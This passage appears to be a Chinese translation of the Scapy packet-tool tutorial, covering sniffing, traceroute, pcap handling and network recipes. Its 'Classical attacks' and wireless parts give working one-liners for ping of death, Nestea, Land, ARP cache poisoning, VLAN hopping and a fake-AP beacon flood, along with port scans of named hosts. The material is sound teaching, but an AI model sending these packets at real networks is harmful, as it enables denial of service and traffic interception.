>>> a=sniff(prn=prnp0f)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
(1.0, ['Windows 2000 (9)'])

猜测操作系统版本前的数字为猜测的精确度。

Filters

演示一下bpf过滤器和sprintf()方法:

>>> a=sniff(filter="tcp and ( port 25 or port 110 )",
 prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%  %2s,TCP.flags% : %TCP.payload%"))
192.168.8.10:47226 -> 213.228.0.14:110   S :
213.228.0.14:110 -> 192.168.8.10:47226  SA :
192.168.8.10:47226 -> 213.228.0.14:110   A :
213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK <13103.1048117923@pop2-1.free.fr>    

192.168.8.10:47226 -> 213.228.0.14:110   A :
192.168.8.10:47226 -> 213.228.0.14:110  PA : USER toto    

213.228.0.14:110 -> 192.168.8.10:47226   A :
213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK    

192.168.8.10:47226 -> 213.228.0.14:110   A :
192.168.8.10:47226 -> 213.228.0.14:110  PA : PASS tata    

213.228.0.14:110 -> 192.168.8.10:47226  PA : -ERR authorization failed    

192.168.8.10:47226 -> 213.228.0.14:110   A :
213.228.0.14:110 -> 192.168.8.10:47226  FA :
192.168.8.10:47226 -> 213.228.0.14:110  FA :
213.228.0.14:110 -> 192.168.8.10:47226   A :

在循环中接收和发送

这儿有一个例子来实现类似(h)ping的功能:你一直发送同样的数据包集合来观察是否发生变化:

>>> srloop(IP(dst="www.target.com/30")/TCP())
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S

导入和导出数据

PCAP

通常可以将数据包保存为pcap文件以备后用,或者是供其他的应用程序使用:

>>> wrpcap("temp.cap",pkts)

还原之前保存的pcap文件:

>>> pkts = rdpcap("temp.cap")

或者

>>> pkts = rdpcap("temp.cap")

Hexdump

Scapy允许你以不同的十六进制格式输出编码的数据包。

使用hexdump()函数会以经典的hexdump格式输出数据包:

>>> hexdump(pkt)
0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
0060   36 37                                              67

使用import_hexcap()函数可以将以上的hexdump重新导入到Scapy中:

>>> pkt_hex = Ether(import_hexcap())
0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
0060   36 37                                              67
>>> pkt_hex
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>

Hex string

使用str()函数可以将整个数据包转换成十六进制字符串:

>>> pkts = sniff(count = 1)
>>> pkt = pkts[0]
>>> pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
>>> pkt_str = str(pkt)
>>> pkt_str
'\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8
\x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00
\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

通过选择合适的起始层(例如Ether()),我们可以重新导入十六进制字符串。

>>> new_pkt = Ether(pkt_str)
>>> new_pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>

Base64

使用export_object()函数,Scapy可以数据包转换成base64编码的Python数据结构:

>>> pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>
>>> export_object(pkt)
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXvcmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...

使用import_object()函数,可以将以上输出重新导入到Scapy中:

>>> new_pkt = import_object()
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXvcmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...
>>> new_pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>

Sessions

最后可以使用save_session()函数来保存所有的session变量:

>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
>>> save_session("session.scapy")

使用load_session()函数,在下一次你启动Scapy的时候你就能加载保存的session:

>>> dir()
['__builtins__', 'conf']
>>> load_session("session.scapy")
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']

Making tables

现在我们来演示一下make_table()函数的功能。该函数的需要一个列表和另一个函数(返回包含三个元素的元组)作为参数。第一个元素是表格x轴上的一个值,第二个元素是y轴上的值,第三个原始则是坐标(x,y)对应的值,其返回结果为一个表格。这个函数有两个变种,make_lined_table()make_tex_table()来复制/粘贴到你的LaTeX报告中。这些函数都可以作为一个结果对象的方法:

在这里,我们可以看到一个多机并行的traceroute(Scapy的已经有一个多TCP路由跟踪功能,待会儿可以看到):

>>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP())
Received 49 packets, got 24 answers, remaining 0 packets
>>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )
  216.15.189.192  216.15.189.193  216.15.189.194  216.15.189.195
1 192.168.8.1     192.168.8.1     192.168.8.1     192.168.8.1
2 81.57.239.254   81.57.239.254   81.57.239.254   81.57.239.254
3 213.228.4.254   213.228.4.254   213.228.4.254   213.228.4.254
4 213.228.3.3     213.228.3.3     213.228.3.3     213.228.3.3
5 193.251.254.1   193.251.251.69  193.251.254.1   193.251.251.69
6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178

这里有个更复杂的例子:从他们的IPID字段中识别主机。我们可以看到172.20.80.200只有22端口做出了应答,而172.20.80.201则对所有的端口都有应答,而且172.20.80.197对25端口没有应答,但对其他端口都有应答。

>>> ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80]))
Received 142 packets, got 25 answers, remaining 71 packets
>>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%")))
   172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201
20 0             4203          7021          -             11562
21 0             4204          7022          -             11563
22 0             4205          7023          11561         11564
25 0             0             7024          -             11565
53 0             4207          7025          -             11566
80 0             4028          7026          -             11567

你在使用TTL和显示接收到的TTL等情况下,它可以很轻松地帮你识别网络拓扑结构。

Routing

现在Scapy有自己的路由表了,所以将你的数据包以不同于操作系统的方式路由:

>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.1     eth0
>>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1")
>>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254")
>>> conf.route.add(host="192.168.1.1",gw="192.168.8.1")
>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.254   eth0
192.168.1.1     255.255.255.255 192.168.8.1     eth0
>>> conf.route.resync()
>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.1     eth0

## Gnuplot

我们可以很容易地将收集起来的数据绘制成Gnuplot。(清确保你已经安装了Gnuplot-py和Gnuplot)例如,我们可以通过观察图案知道负载平衡器用了多少个不同的IP堆栈:

>>> a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000))
>>> a.plot(lambda x:x[1].id)
<Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c>

TCP traceroute (2)

Scapy也有强大的TCP traceroute功能。并不像其他traceroute程序那样,需要等待每个节点的回应才去下一个节点,scapy会在同一时间发送所有的数据包。其缺点就是不知道什么时候停止(所以就有maxttl参数),其巨大的优点就是,只用了不到3秒,就可以得到多目标的traceroute结果:

>>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20)
Received 80 packets, got 80 answers, remaining 0 packets
   193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80
1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
2  82.243.5.254       82.243.5.254       82.243.5.254       82.243.5.254
3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
4  212.27.50.46       212.27.50.46       212.27.50.46       212.27.50.46
5  212.27.50.37       212.27.50.41       212.27.50.37       212.27.50.41
6  212.27.50.34       212.27.50.34       213.228.3.234      193.251.251.69
7  213.248.71.141     217.118.239.149    208.184.231.214    193.251.241.178
8  213.248.65.81      217.118.224.44     64.125.31.129      193.251.242.98
9  213.248.70.14      213.206.129.85     64.125.31.186      193.251.243.89
10 193.45.10.88    SA 213.206.128.160    64.125.29.122      193.251.254.126
11 193.45.10.88    SA 206.24.169.41      64.125.28.70       216.115.97.178
12 193.45.10.88    SA 206.24.226.99      64.125.28.209      66.218.64.146
13 193.45.10.88    SA 206.24.227.106     64.125.29.45       66.218.82.230
14 193.45.10.88    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA
15 193.45.10.88    SA 216.109.120.149    64.124.229.109     66.94.229.254   SA
16 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
17 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
18 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
19 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
20 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
(<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)

最后一行实际上是该函数的返回结果:traceroute返回一个对象和无应答数据包列表。traceroute返回的是一个经典返回对象更加特殊的版本(实际上是一个子类)。我们可以将其保存以备后用,或者是进行一些例如检查填充的更深层次的观察:

>>> result,unans=_
>>> result.show()
   193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80
1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254
3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
[...]
>>> result.filter(lambda x: Padding in x[1])

和其他返回对象一样,traceroute对象也可以相加:

>>> r2,unans=traceroute(["www.voila.com"],maxttl=20)
Received 19 packets, got 19 answers, remaining 1 packets
   195.101.94.25:80
1  192.168.8.1
2  82.251.4.254
3  213.228.4.254
4  212.27.50.169
5  212.27.50.162
6  193.252.161.97
7  193.252.103.86
8  193.252.103.77
9  193.252.101.1
10 193.252.227.245
12 195.101.94.25   SA
13 195.101.94.25   SA
14 195.101.94.25   SA
15 195.101.94.25   SA
16 195.101.94.25   SA
17 195.101.94.25   SA
18 195.101.94.25   SA
19 195.101.94.25   SA
20 195.101.94.25   SA
>>>
>>> r3=result+r2
>>> r3.show()
   195.101.94.25:80   212.23.37.13:80    216.109.118.72:80  64.241.242.243:80  66.94.229.254:80
1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254
3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
4  212.27.50.169      212.27.50.169      212.27.50.46       -                  212.27.50.46
5  212.27.50.162      212.27.50.162      212.27.50.37       212.27.50.41       212.27.50.37
6  193.252.161.97     194.68.129.168     212.27.50.34       213.228.3.234      193.251.251.69
7  193.252.103.86     212.23.42.33       217.118.239.185    208.184.231.214    193.251.241.178
8  193.252.103.77     212.23.42.6        217.118.224.44     64.125.31.129      193.251.242.98
9  193.252.101.1      212.23.37.13    SA 213.206.129.85     64.125.31.186      193.251.243.89
10 193.252.227.245    212.23.37.13    SA 213.206.128.160    64.125.29.122      193.251.254.126
11 -                  212.23.37.13    SA 206.24.169.41      64.125.28.70       216.115.97.178
12 195.101.94.25   SA 212.23.37.13    SA 206.24.226.100     64.125.28.209      216.115.101.46
13 195.101.94.25   SA 212.23.37.13    SA 206.24.238.166     64.125.29.45       66.218.82.234
14 195.101.94.25   SA 212.23.37.13    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA
15 195.101.94.25   SA 212.23.37.13    SA 216.109.120.151    64.124.229.109     66.94.229.254   SA
16 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
17 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
18 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
19 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
20 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA

Traceroute返回对象有一个非常实用的功能:他们会将得到的所有路线做成一个有向图,并用AS组织路线。你需要安装graphviz。在默认情况下会使用ImageMagick显示图形。

>>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2)
Received 190 packets, got 190 answers, remaining 10 packets
   193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80  207.46...
1  192.168.8.1         192.168.8.1        192.168.8.1        192.168.8.1        192.16...
2  82.251.4.254        82.251.4.254       82.251.4.254       82.251.4.254       82.251...
3  213.228.4.254       213.228.4.254      213.228.4.254      213.228.4.254      213.22...
[...]
>>> res.graph()                          # piped to ImageMagick's display program. Image below.
>>> res.graph(type="ps",target="| lp")   # piped to postscript printer
>>> res.graph(target="> /tmp/graph.svg") # saved to file

如果你安装了VPython,你就可以用3D来表示traceroute。右边的按钮是旋转图案,中间的按钮是放大缩小,左边的按钮是移动图案。如果你单击一个球,它的IP地址就会出现/消失。如果你按住Ctrl单击一个球,就会扫描21,22,23,25,80和443端口,并显示结果:

>>> res.trace3D()

Wireless frame injection

frame injection的前提是你的无线网卡和驱动得正确配置好。

$ ifconfig wlan0 up
$ iwpriv wlan0 hostapd 1
$ ifconfig wlan0ap up

你可以造一个FakeAP:

>>> sendp(Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=RandMAC(),addr3=RandMAC())/
          Dot11Beacon(cap="ESS")/
          Dot11Elt(ID="SSID",info=RandString(RandNum(1,50)))/
          Dot11Elt(ID="Rates",info='\x82\x84\x0b\x16')/
          Dot11Elt(ID="DSset",info="\x03")/
          Dot11Elt(ID="TIM",info="\x00\x01\x00\x00"),iface="wlan0ap",loop=1)

0x02 Simple one-liners

ACK Scan

使用Scapy强大的数据包功能,我们可以快速地复制经典的TCP扫描。例如,模拟ACK Scan将会发送以下字符串:

>>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))

我们可以在有应答的数据包中发现未过滤的端口:

>>> for s,r in ans:
...     if s[TCP].dport == r[TCP].sport:
...        print str(s[TCP].dport) + " is unfiltered"

同样的,可以在无应答的数据包中发现过滤的端口:

>>> for s in unans:
...     print str(s[TCP].dport) + " is filtered"

Xmas Scan

可以使用以下的命令来启动Xmas Scan:

>>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )

有RST响应则意味着目标主机的对应端口是关闭的。

IP Scan

较低级的IP Scan可以用来枚举支持的协议:

>>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)

ARP Ping

在本地以太网络上最快速地发现主机的方法莫过于ARP Ping了:

>>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)

用以下命令可以来审查应答:

>>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )

Scapy还包含内建函数arping(),该函数实现的功能和以上的两个命令类似:

>>> arping("192.168.1.*")

## ICMP Ping

可以用以下的命令来模拟经典的ICMP Ping:

>>> ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP())

用以下的命令可以收集存活主机的信息:

>>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") )

TCP Ping

如果ICMP echo请求被禁止了,我们依旧可以用不同的TCP Pings,就像下面的TCP SYN Ping:

>>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )

对我们的刺探有任何响应就意味着为一台存活主机,可以用以下的命令收集结果:

    >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )

UDP Ping

如果其他的都失败了,还可以使用UDP Ping,它可以让存活主机产生ICMP Port unreachable错误。你可以挑选任何极有可能关闭的端口,就像端口0:

>>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )

同样的,使用以下命令收集结果:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )

Classical attacks

Malformed packets:

>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())

Ping of death (Muuahahah):

>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )

Nestea attack:

>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))

Land attack (designed for Microsoft Windows):

>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

## ARP cache poisoning

这种攻击可以通过VLAN跳跃攻击投毒ARP缓存,使得其他客户端无法加入真正的网关地址。

经典的ARP缓存投毒:    

>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

使用double 802.1q封装进行ARP缓存投毒:

>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
      /ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

TCP Port Scanning

发送一个TCP SYN到每一个端口上。等待一个SYN-ACK或者是RST或者是一个ICMP错误:

>>> res,unans = sr( IP(dst="target")
                /TCP(flags="S", dport=(1,1024)) )

将开放的端口结果可视化:

>>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )

IKE Scanning

我们试图通过发送ISAKMP Security Association proposals来确定VPN集中器,并接收应答:

>>> res,unans = sr( IP(dst="192.168.1.*")/UDP()
                /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
                /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
              )

可视化结果列表:

>>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )

Advanced traceroute

TCP SYN traceroute

>>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))

结果会是:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1     time-exceeded
68.86.90.162    time-exceeded
4.79.43.134     time-exceeded
4.79.43.133     time-exceeded
4.68.18.126     time-exceeded
4.68.123.38     time-exceeded
4.2.2.1         SA

UDP traceroute

相比较TCP来说, traceroute一个UDP应用程序是不可靠的,因为ta没有握手的过程。我们需要给一个应用性的有效载荷(DNS,ISAKMP,NTP等)来得到一个应答:

>>> res,unans = sr(IP(dst="target", ttl=(1,20))/UDP()/DNS(qd=DNSQR(qname="test.com"))

我们可以想象得到一个路由器列表的结果:

>>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))

DNS traceroute

我们可以在traceroute()函数中设置l4参数为一个完整的数据包,来实现DNS traceroute:

>>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
*****...***...............................
Received 75 packets, got 28 answers, remaining 2 packets
   4.2.2.1:udp53
1  192.168.1.1     11
4  68.86.90.162    11
5  4.79.43.134     11
6  4.79.43.133     11
7  4.68.18.62      11
8  4.68.123.6      11
9  4.2.2.1
... 

Etherleaking

>>> sr1(IP(dst="172.16.1.232")/ICMP())
<IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]|
<Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>

ICMP leaking

这是一个Linux2.0的一个bug:

>>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
<IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] |
<IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] |
<ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff |
<Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>

VLAN hopping

在非常特殊的情况下,使用double 802.1q封装,可以将一个数据包跳到另一个VLAN中:

>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())

Wireless sniffing

以下的命令将会像大多数的无线嗅探器那样显示信息:

>>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}"))

以上命令会产生类似如下的输出:

00:00:00:01:02:03 netgear      6L   ESS+privacy+PBCC
11:22:33:44:55:66 wireless_100 6L   short-slot+ESS+privacy
44:55:66:00:11:22 linksys      6L   short-slot+ESS+privacy
12:34:56:78:90:12 NETGEAR      6L   short-slot+ESS+privacy+short-preamble

0x03 Recipes

Simplistic ARP Monitor

以下的程序使用了sniff()函数的回调功能(prn参数)。将store参数设置为0,就可以使sniff()函数不存储任何数据(否则会存储),所以就可以一直嗅探下去。filter参数
则用于在高负荷的情况下有更好的性能:filter会在内核中应用,而且Scapy就只能嗅探到ARP流量。

#! /usr/bin/env python
from scapy.all import *

def arp_monitor_callback(pkt):
    if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
        return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")

sniff(prn=arp_monitor_callback, filter="arp", store=0)

Identifying rogue DHCP servers on your LAN

Problem

你怀疑有人已经在你的LAN中安装了额外的未经授权的DHCP服务器-无论是故意的还是有意的。因此你想要检查是否有任何活动的DHCP服务器,并确定他们的IP和MAC地址。

Solution

使用Scapy发送一个DHCP发现请求,并分析应答:

>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True)      # Press CTRL-C after several seconds
Begin emission:
Finished to send 1 packets.
.*...*..
Received 8 packets, got 2 answers, remaining 0 packets

在这种情况下,我们得到了两个应答,所以测试网络上有两个活动的DHCP服务器:

>>> ans.summarize()
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
}}}
We are only interested in the MAC and IP addresses of the replies:
{{{
>>> for p in ans: print p[1][Ether].src, p[1][IP].src
...
00:de:ad:be:ef:00 192.168.1.1
00:11:11:22:22:33 192.168.1.11

Discussion

